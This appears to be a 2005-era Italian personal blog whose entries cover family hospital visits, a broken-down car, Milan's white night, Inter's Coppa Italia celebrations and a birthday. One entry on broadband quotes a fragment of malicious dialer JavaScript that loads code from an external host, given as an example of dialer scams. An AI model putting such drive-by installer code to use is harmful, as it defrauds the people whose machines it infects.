normalità

Una sola mattinata saheliana e si torna alla normalità .
Babbo rientra dall’ospedale, la Arosa ritorna in servizio così come il PC, forte del
suo service Pack 2.
Sto preparando documenti per le ferie montane… non vedo l’ora di riposare con un po’ di fresco.

Allo stesso modo, mi avvicino al 30 giugno senza certezze sul contratto, per l’ennesima volta, con l’ennesimo interlocutore. Anche questa è normalità .

caldo trafelato

ospedale, officina, laboratorio, uffici postali. Innumerevoli commissoni e via vai frenetico. Piccolo particolare: fa un caldo bestia. Poca voglia di scrivere.

Potrei parlare delle videocamere, dei settori dello stadio che ogni tanto cambiano forma e prezzo, dei vari siti in fieri (qualcuno arriva addirittura per procura!), del torneo aziendale quest’anno all’Arena.

Oppure divagare su Solari e sui prossimi campioncini: avranno un contratto ben più velocemente del sottoscritto o dei suoi sodali.

Ma la voglia di scrivere è davvero nulla, complici le levatacce antelucane per arrivare all’Ospedale di legnano (meno male che il giulio offre il suo supporto logistico)

soccorso cristiano

Aperitivo e pizza per 21 (!)
Risate assortite e giro turistico notturno di Sacconago, per smaltire il malloppo.
Riaccompagno Luca e Miriam a Legnano; invito il DR, un po’ spaesato, a seguirmi sulla strada per Arluno.

Come 8 anni fa, nel bel mezzo dell’incrocio di Porta Venezia, un rumore di ferraglia turba la nostra mezzanotte sulla via del rientro. Dal nulla, belena a 50 all’ora, un *CLANG* ininterrotto da sotto la Arosa di mia moglie, come se trascinassimo un grappolo di marmitte rugginose.
Rallento e mi fermo, nel mezzo di un viale di Legnano. Nessuna marcia muove più la macchina; la accostiamo e la abbandoniamo senza cerimonie, come l’Odyssey di Apollo 13.

Fortuna che si seguiva Cristiano: ci carica e riaccompagna a casa, carichi di dubbi sul domani. Oltre che appiedati, dobbiamo fronteggiare in questi giorni un via-vai in ospedale per il babbo e varie commissioni, inderogabili visto l’avvento della settimana sabbatica in Trentino…

NOTTE BIANCA E AFA

Romania, fine luglio 1994. Uno dei paesi più arretrati d’Europa ci
offriva il peggio di sé: un ufficio postale affollatissimo, tutto a vetrate, esposto al solleone, un solo sportello aperto.
Aria irrespirabile, ci davamo il turno in fila; quandosi iniziava a boccheggiare, si chiedeva il cambio.

Lo spettacolo di Milano sveglia, viva e in movimento è davvero impareggiabile. Gaber in piazza santo stefano, tamburi africani sui bastioni e frutta fresca a Palestro. Brioches in Duomo, una fragranza invitante già  alle due di notte. Una movida sana, e il gusto di scoprire un gioiello neoclassico in Corso Europa. Sì, a due passi dalla sede dell’Inter. Non c’è solo un ufficio postale!
La notte bianca lascia ricordi piacevoli, un rientro sulle gambe e la squisita velenosa sentenza del Capitano al parcheggio: gli altri amici sono dei “provinciali”, non maneggiano con destrezza le metropoli e le sue cerimonie.
Tanti spunti e tanti pensieri.

Peccato per l’ATM: l’acquisto del biglietto a Molino Dorino era un’ordalia che richiama appunto lo sfacelo rumeno; con in più le zanzare.
Anche alle 3 e mezza, poi, tutti i vagoni della metro sono stipati di gente sudata e stremata, come le mezzane nell’angiporto di Marsiglia.

COPPA ITALIA buona la quarta

Da stamattina non faccio altro: tutti vogliono la foto con la Coppa.
E’ un piacere poi scegliere le foto migliori dei festeggiamenti con Facch3tti: ha un senso dello humour semplicemente squisito.


Ironia velenosa su un dirigente nerazzurro che: non c’entra nulla, non ha fatto nulla, non è tesserato FIGC, non doveva esserci ma compare regolarmente in tutte
le foto e le riprese. Anche il Presi ha notato la bizzarria della cosa: improvvisa l’associazione al modello inarrivabile per tutti.

—————–> foto a fianco

Siamo tutti felici, la coppa viene LUCIDATA a modino.
Entra trafelato il sin1stro di Dio, MarioC0rso. Un scambio di battute vivacissimo in saletta internet. Spumante per festeggiare con Corra il compleanno.

La sede è deserta.

Sono contento: per Cordoba che solleva la coppa. Per il pensionato che ci dà  una mano con l’archivio, per il Bar SPORT di Casorezzo che azzarda fuochi pirotecnici in piazza, per Pippo che ci chiama in sede dopo tanto tempo.

Ci sono anche tanti altri motivi per non esser offuscato dai festeggiamenti, ma oggi ho finito i tasti.

tutti in banda larga

Sabato si è ri-rotta la scheda madre del PC del mio babbo. Mah!

Il costo italiano di connessione ADSL è tra i più alti in europa.
Cattiva notizia, ma almeno quegli infami (poveracci) che campano installando delittuosi dialer la finiranno con porcate
come questa,

var str=new Array(8);
str[1]=”ECT id=A codeBase=’http://deposito.hostance.net/dia”;
str[0]=””;

…se si passa tutti in banda larga!

Così almeno la windowz-minaccia si chiamerà  Pharming

limitatamente alle parole

L’Italia si slancia con accidia nel medioevo “limitatamente alle parole” [Sì] o [non voto perché la materia è complessa] o [meglio questo che il far west]
Ma per me è un periodo molto felice e divertente; sabato grigliata per 10 e, poche ore fa, aperitivo per 16. Quasi tutte le persone a me più care riunite per festeggiarmi. Hanno anche votato, e ho l’auto piena di curiosi pacchettini.
Ho anche “fatto girare l’economia”, come capita quando si celebra un giorno di festa.

Ma una notizia spiacevole (una mia amica ha perso il bambino, al IV mese) mi ripiomba nella tristezza del battiquorum: Cardinal Ruini, perché non viene battezzato il feto, se è vita dal concepimento? Se ho rimostranze verso il ginecologo o il chirurgo, posso accusarlo di omicidio colposo visto che è, giuridicamente, un soggetto equipollente alla donna che lo ospita?
Vabbé, mi sto accalorando, meglio sterzare sul grottesco.

I succosi siparietti di Inter Channel mi tengono oltremodo in sede: una deliziosa anticipazione di quanto vedremo il prossimo anno: pare che le finestre del satellite, per questione di diritti TV, slittino un po’ dopo il fischio finale.
Diciamoci la verità , i canali tematici sono delle “commodities” per persone abbienti e borghesi. Per loro 8 euro al mese non fan la differenza, son sempre un modico “status-symbol” da sfoggiare, oltre al valore intrinseco del prodotto.
Li voglio vedere, invece, quelli che controllano l’estratto conto, restare svegli
– dalle 23e30 alle 0.30 per vedersi il siparietto in studio
– delle 0.30 alle 0.59 per sentire le interviste “esclusive”

Durante la partita saltano fuori dei piccoli “bachi”, tipo le interviste che scompaiono. Ma il segnale del decoder digitale terrestre mi convince: inattaccabile.

Imbucato e festeggiato

In tema di compleanni (oggi io ne faccio 34), il 2005 scandisce il 30° di “Amici Miei” di Monicelli.
Proprio al Necchi, canaglia elegante e velenosa, ho pensato ieri sera.
Un colpo di genio da par suo, per imbucarmi all’inaugurazione di uno show room praticamente sottocasa.
La via era stracolma di auto; quasi tutti i convitati brandivano un invito in mano. Ma con Fabiola, appena rientrati dalla stazione, abbiamo imbucato un passaggio secondario… che ci ha fatto sbucare nel mezzo del delizioso buffet.
Leccornie invero ricercate e la sorpresa di trovarci il cugino sindaco e Gigi con padre, già  provati dal fiero pasto.

Giochi pirotecnici, spumante e pasticcini per chiudere in bellezza. Vernissage proprio godereccio.

Già  in serata arrivavano gli auguri: chi sbaglia giorno, chi aspetta la mezzanotte, chi stramaledice il sabato – giacché non può chiamarmi dal lavoro, chi impara ad accludere la neo-moglie nel messaggio…